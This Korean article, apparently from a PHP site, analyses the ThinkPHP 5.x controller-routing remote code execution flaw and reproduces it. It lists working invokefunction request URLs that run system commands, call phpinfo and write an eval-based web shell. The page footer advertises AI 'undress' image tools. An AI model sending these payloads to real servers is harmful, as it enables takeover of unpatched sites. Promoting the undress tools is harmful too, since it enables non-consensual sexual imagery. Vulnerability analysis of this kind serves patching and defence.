0x00 서문
ThinkPHP는 2018년 12월 9일에 심각한 원격 코드 실행 취약점을 수정한 중요한 보안 업데이트를 공식 출시했습니다. 이 업데이트는 주로 보안 업데이트와 관련되어 있으며, 프레임워크는 컨트롤러 이름에 대해 충분한 감지를 수행하지 않으므로 강제 라우팅이 활성화되지 않은 경우 getshell 취약점이 발생할 수 있습니다. 해당 버전에는 5.0 및 5.1이 포함됩니다. 가능한 한 빨리 최신 버전으로 업데이트하세요.
0x01 영향 범위
5.x
0x02 취약점 분석
Thinkphp v5.0.x 패치 주소: https://github. com /top-think/framework/com...
Thinkphp v5.1.x 패치 주소: https://github.com/top-think/framework/com...
라우팅 정보의 컨트롤러 부분적으로 필터링한 결과, 경로 스케줄링 중에 문제가 발생하는 것을 알 수 있습니다.
키 코드:
수리 전에는 프로그램이 컨트롤러를 필터링하지 않았으므로 공격자가 기호를 도입하여 임의의 클래스 메서드를 호출할 수 있었습니다.
$this->app->controller 메소드는 컨트롤러를 인스턴스화한 다음 인스턴스에서 메소드를 호출하는 데 사용됩니다. 컨트롤러 메소드에 대한 후속 조치:
parseModuleAndClass 메소드를 사용하여 $module 및 $class를 구문 분석한 다음 $class를 인스턴스화합니다.
parseModuleAndClass 메서드에서 $name이 백슬래시로 시작하면 클래스 이름으로 바로 사용됩니다. 네임스페이스의 특성을 활용하여 여기에서 $name(즉, 경로의 컨트롤러 부분)을 제어할 수 있으면 모든 클래스를 인스턴스화할 수 있습니다.
그럼 라우팅 파싱 코드를 다시 살펴보겠습니다. 그 중, Route/dispatch/Url.php::parseUrl 메소드는 pathinfo의 라우팅 정보를 파싱하기 위해 path/Rule.php::parseUrlPath를 호출합니다. 코드는 비교적 간단합니다. .
라우팅 URL은 Request::path()에서 얻습니다.
var_pathinfo의 기본 구성이 s이므로 $_GET ['s']를 사용하여 라우팅 정보를 전달하거나 pathinfo를 사용하여 전달할 수 있습니다. 그러나 테스트 중에 Windows 환경에서는 $_SERVER ['pathinfo']를 /로 바꿉니다. 이전 분석과 결합하면 index.php?s=index/namespaceclass/method와 같은 예비 활용 코드를 얻을 수 있으며, 이는 네임스페이스클래스 클래스를 인스턴스화하고 메소드 메소드를 실행합니다.
0x03 취약점 악용
https://github.com/vulnspy/thinkphp-5.1.29
로컬 환경: thinkphp5.0.15+php5.6n+ apache2.0http://www.thinkphp.cn/donate/download/id/...
1. 시스템 기능을 이용해 원격 명령을 실행http://localhost:9096/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
2.phpinfo를 통해 phpinfo()의 정보를 작성합니다. function
http://localhost:9096/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
3. 쉘 작성:
http://localhost:9096/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php
또는
http://localhost:9096/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php echo 'ok';?>
위 내용은 ThinkPHP 5.x 원격 명령 실행 취약점 분석 및 재현의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

핫 AI 도구

Undresser.AI Undress
사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover
사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool
무료로 이미지를 벗다

Clothoff.io
AI 옷 제거제

Video Face Swap
완전히 무료인 AI 얼굴 교환 도구를 사용하여 모든 비디오의 얼굴을 쉽게 바꾸세요!

인기 기사

뜨거운 도구

SecList
SecLists는 최고의 보안 테스터의 동반자입니다. 보안 평가 시 자주 사용되는 다양한 유형의 목록을 한 곳에 모아 놓은 것입니다. SecLists는 보안 테스터에게 필요할 수 있는 모든 목록을 편리하게 제공하여 보안 테스트를 더욱 효율적이고 생산적으로 만드는 데 도움이 됩니다. 목록 유형에는 사용자 이름, 비밀번호, URL, 퍼징 페이로드, 민감한 데이터 패턴, 웹 셸 등이 포함됩니다. 테스터는 이 저장소를 새로운 테스트 시스템으로 간단히 가져올 수 있으며 필요한 모든 유형의 목록에 액세스할 수 있습니다.

드림위버 CS6
시각적 웹 개발 도구

Eclipse용 SAP NetWeaver 서버 어댑터
Eclipse를 SAP NetWeaver 애플리케이션 서버와 통합합니다.

SublimeText3 Linux 새 버전
SublimeText3 Linux 최신 버전

SublimeText3 Mac 버전
신 수준의 코드 편집 소프트웨어(SublimeText3)
